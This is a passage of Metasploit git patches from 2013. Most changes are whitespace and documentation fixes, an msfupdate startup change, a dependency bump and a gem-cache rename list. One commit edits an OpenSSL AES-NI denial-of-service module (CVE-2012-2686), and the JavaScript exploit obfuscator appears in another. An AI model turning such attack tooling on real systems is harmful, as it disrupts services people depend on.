deletions(-) diff --git a/lib/msf/core/db.rb b/lib/msf/core/db.rb index 9b5c8d8212..bd6d0e4d81 100644 --- a/lib/msf/core/db.rb +++ b/lib/msf/core/db.rb @@ -699,7 +699,7 @@ class DBManager if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] mod_fullname = sess_data[:datastore]['ParentModule'] mod_name = ::Mdm::ModuleDetail.find_by_fullname(mod_fullname).name - else + else mod_name = mod.name mod_fullname = mod.fullname end @@ -719,7 +719,7 @@ class DBManager vuln_info[:service] = service if service vuln = framework.db.report_vuln(vuln_info) - + if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] via_exploit = sess_data[:datastore]['ParentModule'] else @@ -738,7 +738,7 @@ class DBManager } framework.db.report_exploit_success(attempt_info) - + end s @@ -871,7 +871,7 @@ class DBManager ref.to_s end }) - + # Try find a matching vulnerability vuln = find_vuln_by_refs(ref_objs, host, svc) end @@ -890,7 +890,7 @@ class DBManager attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id] vuln.vuln_attempts.create(attempt_info) - + # Correct the vuln's associated service if necessary if svc and vuln.service_id.nil? vuln.service = svc @@ -909,12 +909,12 @@ class DBManager attempt_info[:vuln_id] = vuln.id if vuln attempt_info[:session_id] = opts[:session_id] if opts[:session_id] attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id] - + if svc attempt_info[:port] = svc.port attempt_info[:proto] = svc.proto end - + if port and svc.nil? attempt_info[:port] = port attempt_info[:proto] = prot || "tcp" @@ -937,7 +937,7 @@ class DBManager timestamp = opts.delete(:timestamp) freason = opts.delete(:fail_reason) - fdetail = opts.delete(:fail_detail) + fdetail = opts.delete(:fail_detail) username = opts.delete(:username) mname = opts.delete(:module) @@ -968,7 +968,7 @@ class DBManager ref.to_s end }) - + # Try find a matching vulnerability vuln = find_vuln_by_refs(ref_objs, host, svc) end @@ -1003,7 +1003,7 @@ class DBManager attempt_info[:port] = svc.port attempt_info[:proto] = svc.proto end - + if port and svc.nil? attempt_info[:port] = port attempt_info[:proto] = prot || "tcp" @@ -1018,7 +1018,7 @@ class DBManager ::ActiveRecord::Base.connection_pool.with_connection { return if not vuln info = {} - + # Opts can be keyed by strings or symbols ::Mdm::VulnAttempt.column_names.each do |kn| k = kn.to_sym @@ -1037,7 +1037,7 @@ class DBManager ::ActiveRecord::Base.connection_pool.with_connection { return if not host info = {} - + # Opts can be keyed by strings or symbols ::Mdm::VulnAttempt.column_names.each do |kn| k = kn.to_sym @@ -1623,7 +1623,7 @@ class DBManager # If a match is found on a vulnerability with no associated service, # update that vulnerability with our service information. This helps # prevent dupes of the same vuln found by both local patch and - # service detection. + # service detection. if rids and rids.length > 0 vuln = find_vuln_by_refs(rids, host, service) vuln.service = service if vuln @@ -1651,7 +1651,7 @@ class DBManager else vuln = host.vulns.find_by_name(name) end - + unless vuln vinf = { @@ -1660,7 +1660,7 @@ class DBManager :info => info } - vinf[:service_id] = service.id if service + vinf[:service_id] = service.id if service vuln = Mdm::Vuln.create(vinf) end end @@ -1681,7 +1681,7 @@ class DBManager # Handle vuln_details parameters report_vuln_details(vuln, details) if details - + vuln } end @@ -4196,9 +4196,9 @@ class DBManager # Takes an array of vuln hashes, as returned by the NeXpose rawxml stream # parser, like: # [ - # {"id"=>"winreg-notes-protocol-handler", severity="8", "refs"=>[{"source"=>"BID", "value"=>"10600"}, ...]} - # {"id"=>"windows-zotob-c", severity="8", "refs"=>[{"source"=>"BID", "value"=>"14513"}, ...]} - # ] + # {"id"=>"winreg-notes-protocol-handler", severity="8", "refs"=>[{"source"=>"BID", "value"=>"10600"}, ...]} + # {"id"=>"windows-zotob-c", severity="8", "refs"=>[{"source"=>"BID", "value"=>"14513"}, ...]} + # ] # and transforms it into a struct, containing :id, :refs, :title, and :severity # # Other attributes can be added later, as needed. @@ -5095,7 +5095,7 @@ class DBManager # # This method normalizes an incoming service name to one of the # the standard ones recognized by metasploit - # + # def service_name_map(proto) return proto unless proto.kind_of? String case proto.downcase From 3acccd71f7ff0beb07af0140044066a2c80dd3dd Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 5 Mar 2013 14:35:27 -0600 Subject: [PATCH 429/448] Whitespace and doc fix --- lib/rex/exploitation/obfuscatejs.rb | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/lib/rex/exploitation/obfuscatejs.rb b/lib/rex/exploitation/obfuscatejs.rb index 94e17c06dc..70db94e338 100644 --- a/lib/rex/exploitation/obfuscatejs.rb +++ b/lib/rex/exploitation/obfuscatejs.rb @@ -18,12 +18,12 @@ class ObfuscateJS # # The 'Symbols' argument should have the following format: # - # { - # 'Variables' => [ 'var1', ... ], - # 'Methods' => [ 'method1', ... ], - # 'Namespaces' => [ 'n', ... ], - # 'Classes' => [ { 'Namespace' => 'n', 'Class' => 'y'}, ... ] - # } + # { + # 'Variables' => [ 'var1', ... ], + # 'Methods' => [ 'method1', ... ], + # 'Namespaces' => [ 'n', ... ], + # 'Classes' => [ { 'Namespace' => 'n', 'Class' => 'y'}, ... ] + # } # # Make sure you order your methods, classes, and namespaces by most # specific to least specific to prevent partial substitution. For @@ -138,14 +138,14 @@ class ObfuscateJS # while (buf.length < len) # buf << set[rand(set.length)].chr # end - # + # # buf #} end # Remove our comments remove_comments - + # Globally replace symbols replace_symbols(@opts['Symbols']) if @opts['Symbols'] @@ -191,9 +191,9 @@ protected next if symbols[symtype].nil? symbols[symtype].each { |sym| dyn = Rex::Text.rand_text_alpha(rand(32)+1) until dyn and not taken.key?(dyn) - + taken[dyn] = true - + if symtype == 'Classes' full_sym = sym['Namespace'] + "." + sym['Class'] @dynsym[full_sym] = dyn From 709ec8a519ad81c1469aea1205402a7c816b26b6 Mon Sep 17 00:00:00 2001 From: Brandon Turner Date: Tue, 5 Mar 2013 14:41:09 -0600 Subject: [PATCH 430/448] Use start.sh to start Pro via msfupdate command start.sh (installed with community/pro on apt installs) automatically starts dependency services (such as postgresql). --- msfupdate | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/msfupdate b/msfupdate index 029b80b566..d32010e5fb 100755 --- a/msfupdate +++ b/msfupdate @@ -224,7 +224,10 @@ if is_apt else $stdout.puts "[*] Updating to version #{pro_version || framework_version}" system("apt-get", "install", "--assume-yes", *packages) - system("/etc/init.d/metasploit start") if packages.include?('metasploit') + if packages.include?('metasploit') + start_cmd = File.expand_path(File.join(@msfbase_dir, '..', '..', '..', 'scripts', 'start.sh')) + system(start_cmd) if ::File.executable_real? start_cmd + end end end From 781132b1cfe6ee08d13549a7f80bcdb03d5ea1c1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 5 Mar 2013 22:41:16 +0100 Subject: [PATCH 431/448] cleanup for openssl_aesni --- modules/auxiliary/dos/ssl/openssl_aesni.rb | 21 ++++++++++++--------- 1 file changed, 12 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/dos/ssl/openssl_aesni.rb b/modules/auxiliary/dos/ssl/openssl_aesni.rb index 94ba11e470..f118a88abb 100644 --- a/modules/auxiliary/dos/ssl/openssl_aesni.rb +++ b/modules/auxiliary/dos/ssl/openssl_aesni.rb @@ -9,15 +9,18 @@ class Metasploit4 < Msf::Auxiliary super(update_info(info, 'Name' => 'OpenSSL TLS 1.1 and 1.2 AES-NI DoS', 'Description' => %q{ - The AES-NI implementation of OpenSSL 1.0.1c does not - properly compute the length of an encrypte message when used - with a TLS version 1.1 or above. This leads to an integer - underflow which can cause a DoS. + The AES-NI implementation of OpenSSL 1.0.1c does not properly compute the + length of an encrypted message when used with a TLS version 1.1 or above. This + leads to an integer underflow which can cause a DoS. The vulnerable function + aesni_cbc_hmac_sha1_cipher is only included in the 64 bits versions of OpenSSL. + This module has been tested successfully on Ubuntu 12.04 (64 bits) with the default + OpenSSL 1.0.1c package. }, - 'Author' => [ - 'Wolfgang Ettlinger ' - ], - 'License' => BSD_LICENSE, + 'Author' => + [ + 'Wolfgang Ettlinger ' + ], + 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-2686'], @@ -138,7 +141,7 @@ class Metasploit4 < Msf::Auxiliary connect sock.put(p1) - resp = sock.recv(4096) + resp = sock.get_once cs = get_cipher_suite(resp) From 36e20807b04c0a701a0d984fa40e97541a9250a5 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Wed, 6 Mar 2013 09:53:26 -0600 Subject: [PATCH 432/448] Update Gemfile to metaploit_data_models 0.6.0 [#44034071] --- Gemfile | 2 +- Gemfile.lock | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/Gemfile b/Gemfile index 9513b0a497..251808c2a5 100755 --- a/Gemfile +++ b/Gemfile @@ -7,7 +7,7 @@ gem 'activerecord' # Needed for some admin modules (scrutinizer_add_user.rb) gem 'json' # Database models shared between framework and Pro. -gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.5.1' +gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.6.0' # Needed by msfgui and other rpc components gem 'msgpack' # Needed by anemone crawler diff --git a/Gemfile.lock b/Gemfile.lock index 983117cbb4..c16a1cca2f 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,9 +1,9 @@ GIT remote: git://github.com/rapid7/metasploit_data_models.git - revision: 1e3e0c2effb8e1bb6cec9683b830e4244babf706 - tag: 0.5.1 + revision: 0285d6e199f125b33214100dcb0f4eeb12ee765f + tag: 0.6.0 specs: - metasploit_data_models (0.5.1) + metasploit_data_models (0.6.0) activerecord (>= 3.2.10) activesupport pg @@ -55,7 +55,7 @@ GEM simplecov-html (~> 0.5.3) simplecov-html (0.5.3) slop (3.4.3) - tzinfo (0.3.35) + tzinfo (0.3.36) yard (0.8.3) PLATFORMS From fac941aae479c2795fd7dfec949d8e51765d4774 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Wed, 6 Mar 2013 09:59:09 -0600 Subject: [PATCH 433/448] Update gemcache with metasploit_data_models 0.6.0 [#44034071] --- .../metasploit_data_models-0.5.1/Rakefile | 20 -- .../base64_serializer.rb | 35 ---- .../lib/metasploit_data_models/engine.rb | 7 - .../spec/lib/base64_serializer_spec.rb | 22 --- .../.gitignore | 0 .../.rspec | 0 .../.simplecov | 0 .../.yardopts | 0 .../Gemfile | 3 + .../LICENSE | 0 .../README.md | 0 .../metasploit_data_models-0.6.0/Rakefile | 34 ++++ .../app/models/mdm/api_key.rb | 0 .../app/models/mdm/client.rb | 0 .../app/models/mdm/cred.rb | 0 .../app/models/mdm/event.rb | 0 .../app/models/mdm/exploit_attempt.rb | 0 .../app/models/mdm/exploited_host.rb | 0 .../app/models/mdm/host.rb | 0 .../app/models/mdm/host_detail.rb | 0 .../app/models/mdm/host_tag.rb | 0 .../app/models/mdm/imported_cred.rb | 0 .../app/models/mdm/listener.rb | 0 .../app/models/mdm/loot.rb | 0 .../app/models/mdm/macro.rb | 0 .../app/models/mdm/mod_ref.rb | 0 .../app/models/mdm/module_action.rb | 0 .../app/models/mdm/module_arch.rb | 0 .../app/models/mdm/module_author.rb | 0 .../app/models/mdm/module_detail.rb | 0 .../app/models/mdm/module_mixin.rb | 0 .../app/models/mdm/module_platform.rb | 0 .../app/models/mdm/module_ref.rb | 0 .../app/models/mdm/module_target.rb | 0 .../app/models/mdm/nexpose_console.rb | 0 .../app/models/mdm/note.rb | 0 .../app/models/mdm/profile.rb | 0 .../app/models/mdm/ref.rb | 0 .../app/models/mdm/report.rb | 0 .../app/models/mdm/report_template.rb | 0 .../app/models/mdm/route.rb | 0 .../app/models/mdm/service.rb | 0 .../app/models/mdm/session.rb | 0 .../app/models/mdm/session_event.rb | 0 .../app/models/mdm/tag.rb | 0 .../app/models/mdm/task.rb | 0 .../app/models/mdm/user.rb | 7 - .../app/models/mdm/vuln.rb | 0 .../app/models/mdm/vuln_attempt.rb | 0 .../app/models/mdm/vuln_detail.rb | 0 .../app/models/mdm/vuln_ref.rb | 0 .../app/models/mdm/web_form.rb | 0 .../app/models/mdm/web_page.rb | 0 .../app/models/mdm/web_site.rb | 0 .../app/models/mdm/web_vuln.rb | 55 +++++- .../app/models/mdm/wmap_request.rb | 0 .../app/models/mdm/wmap_target.rb | 0 .../app/models/mdm/workspace.rb | 0 .../bin/mdm_console | 0 .../console_db.yml | 0 .../db/migrate/000_create_tables.rb | 0 .../db/migrate/001_add_wmap_tables.rb | 0 .../db/migrate/002_add_workspaces.rb | 0 .../db/migrate/003_move_notes.rb | 0 .../db/migrate/004_add_events_table.rb | 0 .../db/migrate/005_expand_info.rb | 0 .../db/migrate/006_add_timestamps.rb | 0 .../db/migrate/007_add_loots.rb | 0 .../db/migrate/008_create_users.rb | 0 .../db/migrate/009_add_loots_ctype.rb | 0 .../db/migrate/010_add_alert_fields.rb | 0 .../db/migrate/011_add_reports.rb | 0 .../db/migrate/012_add_tasks.rb | 0 .../db/migrate/013_add_tasks_result.rb | 0 .../db/migrate/014_add_loots_fields.rb | 0 .../db/migrate/015_rename_user.rb | 0 .../db/migrate/016_add_host_purpose.rb | 0 .../db/migrate/017_expand_info2.rb | 0 .../db/migrate/018_add_workspace_user_info.rb | 0 .../db/migrate/019_add_workspace_desc.rb | 0 .../db/migrate/020_add_user_preferences.rb | 0 .../migrate/021_standardize_info_and_data.rb | 0 .../db/migrate/022_enlarge_event_info.rb | 0 .../migrate/023_add_report_downloaded_at.rb | 0 .../024_convert_service_info_to_text.rb | 0 .../db/migrate/025_add_user_admin.rb | 0 .../db/migrate/026_add_creds_table.rb | 0 .../20100819123300_migrate_cred_data.rb | 0 .../20100824151500_add_exploited_table.rb | 0 .../20100908001428_add_owner_to_workspaces.rb | 0 .../20100911122000_add_report_templates.rb | 0 .../20100916151530_require_admin_flag.rb | 0 ...00916175000_add_campaigns_and_templates.rb | 0 .../20100920012100_add_generate_exe_column.rb | 0 .../20100926214000_add_template_prefs.rb | 0 .../migrate/20101001000000_add_web_tables.rb | 0 .../db/migrate/20101002000000_add_query.rb | 0 .../migrate/20101007000000_add_vuln_info.rb | 0 ...20101008111800_add_clients_to_campaigns.rb | 0 ...20101009023300_add_campaign_attachments.rb | 0 .../20101104135100_add_imported_creds.rb | 0 .../migrate/20101203000000_fix_web_tables.rb | 0 .../20101203000001_expand_host_comment.rb | 0 ...2033_add_limit_to_network_to_workspaces.rb | 0 ...20110112154300_add_module_uuid_to_tasks.rb | 0 .../migrate/20110204112800_add_host_tags.rb | 0 .../20110317144932_add_session_table.rb | 0 ...414180600_add_local_id_to_session_table.rb | 0 .../20110415175705_add_routes_table.rb | 0 .../migrate/20110422000000_convert_binary.rb | 0 ...0110425095900_add_last_seen_to_sessions.rb | 0 ...0110513143900_track_successful_exploits.rb | 0 ...517160800_rename_and_prune_nessus_vulns.rb | 0 ...0527000000_add_task_id_to_reports_table.rb | 0 .../20110527000001_add_api_keys_table.rb | 0 .../20110606000001_add_macros_table.rb | 0 ...10622000000_add_settings_to_tasks_table.rb | 0 .../20110624000001_add_listeners_table.rb | 0 ...0625000001_add_macro_to_listeners_table.rb | 0 ...110630000001_add_nexpose_consoles_table.rb | 0 ...0002_add_name_to_nexpose_consoles_table.rb | 0 .../20110717000001_add_profiles_table.rb | 0 ...20110727163801_expand_cred_ptype_column.rb | 0 .../20110730000001_add_initial_indexes.rb | 0 .../migrate/20110812000001_prune_indexes.rb | 0 .../db/migrate/20110922000000_expand_notes.rb | 0 .../20110928101300_add_mod_ref_table.rb | 0 ...10000_add_display_name_to_reports_table.rb | 0 .../db/migrate/20111203000000_inet_columns.rb | 0 .../20111204000000_more_inet_columns.rb | 0 .../20111210000000_add_scope_to_hosts.rb | 0 ...0120126110000_add_virtual_host_to_hosts.rb | 0 ...20120411173220_rename_workspace_members.rb | 0 ...20601152442_add_counter_caches_to_hosts.rb | 0 .../20120625000000_add_vuln_details.rb | 0 .../20120625000001_add_host_details.rb | 0 .../migrate/20120625000002_expand_details.rb | 0 .../migrate/20120625000003_expand_details2.rb | 0 .../20120625000004_add_vuln_attempts.rb | 0 ...000005_add_vuln_and_host_counter_caches.rb | 0 .../20120625000006_add_module_details.rb | 0 .../20120625000007_add_exploit_attempts.rb | 0 .../20120625000008_add_fail_message.rb | 0 ...2805_add_owner_and_payload_to_web_vulns.rb | 0 ...ired_columns_to_null_false_in_web_vulns.rb | 0 .../lib/mdm.rb | 0 .../host/operating_system_normalization.rb | 0 .../lib/metasploit_data_models.rb | 0 .../base64_serializer.rb | 103 +++++++++++ .../lib/metasploit_data_models/engine.rb | 14 ++ .../serialized_prefs.rb | 0 .../validators/ip_format_validator.rb | 0 .../password_is_strong_validator.rb | 0 .../lib/metasploit_data_models/version.rb | 2 +- .../lib/tasks/yard.rake | 0 .../metasploit_data_models.gemspec | 0 .../script/rails | 0 .../spec/app/models/mdm/web_vuln_spec.rb | 41 ++++- .../spec/dummy/Rakefile | 0 .../app/assets/javascripts/application.js | 0 .../app/assets/stylesheets/application.css | 0 .../app/controllers/application_controller.rb | 0 .../dummy/app/helpers/application_helper.rb | 0 .../spec/dummy/app/mailers/.gitkeep | 0 .../spec/dummy/app/models/.gitkeep | 0 .../app/views/layouts/application.html.erb | 0 .../spec/dummy/config.ru | 0 .../spec/dummy/config/application.rb | 0 .../spec/dummy/config/boot.rb | 0 .../spec/dummy/config/database.yml.example | 0 .../spec/dummy/config/environment.rb | 0 .../dummy/config/environments/development.rb | 0 .../dummy/config/environments/production.rb | 0 .../spec/dummy/config/environments/test.rb | 0 .../initializers/backtrace_silencers.rb | 0 .../dummy/config/initializers/inflections.rb | 0 .../dummy/config/initializers/mime_types.rb | 0 .../dummy/config/initializers/secret_token.rb | 0 .../config/initializers/session_store.rb | 0 .../config/initializers/wrap_parameters.rb | 0 .../spec/dummy/config/routes.rb | 0 .../spec/dummy/db/schema.rb | 0 .../spec/dummy/lib/assets/.gitkeep | 0 .../spec/dummy/log/.gitkeep | 0 .../spec/dummy/public/404.html | 0 .../spec/dummy/public/422.html | 0 .../spec/dummy/public/500.html | 0 .../spec/dummy/public/favicon.ico | 0 .../spec/dummy/script/rails | 0 .../spec/factories/mdm/addresses.rb | 7 + .../spec/factories/mdm/hosts.rb | 18 ++ .../spec/factories/mdm/services.rb | 35 ++++ .../spec/factories/mdm/users.rb | 22 +++ .../spec/factories/mdm/web_sites.rb | 8 + .../spec/factories/mdm/web_vulns.rb | 64 +++++++ .../spec/factories/mdm/workspaces.rb | 23 +++ .../spec/lib/base64_serializer_spec.rb | 174 ++++++++++++++++++ .../spec/spec_helper.rb | 9 + ...c => metasploit_data_models-0.6.0.gemspec} | 4 +- 199 files changed, 608 insertions(+), 99 deletions(-) delete mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Rakefile delete mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/base64_serializer.rb delete mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/engine.rb delete mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/lib/base64_serializer_spec.rb rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/.gitignore (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/.rspec (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/.simplecov (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/.yardopts (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/Gemfile (79%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/LICENSE (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/README.md (100%) create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Rakefile rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/api_key.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/client.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/cred.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/event.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/exploit_attempt.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/exploited_host.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/host.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/host_detail.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/host_tag.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/imported_cred.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/listener.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/loot.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/macro.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/mod_ref.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/module_action.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/module_arch.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/module_author.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/module_detail.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/module_mixin.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/module_platform.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/module_ref.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/module_target.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/nexpose_console.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/note.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/profile.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/ref.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/report.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/report_template.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/route.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/service.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/session.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/session_event.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/tag.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/task.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/user.rb (87%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/vuln.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/vuln_attempt.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/vuln_detail.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/vuln_ref.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/web_form.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/web_page.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/web_site.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/web_vuln.rb (72%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/wmap_request.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/wmap_target.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/workspace.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/bin/mdm_console (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/console_db.yml (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/000_create_tables.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/001_add_wmap_tables.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/002_add_workspaces.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/003_move_notes.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/004_add_events_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/005_expand_info.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/006_add_timestamps.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/007_add_loots.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/008_create_users.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/009_add_loots_ctype.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/010_add_alert_fields.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/011_add_reports.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/012_add_tasks.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/013_add_tasks_result.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/014_add_loots_fields.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/015_rename_user.rb (100%) rename 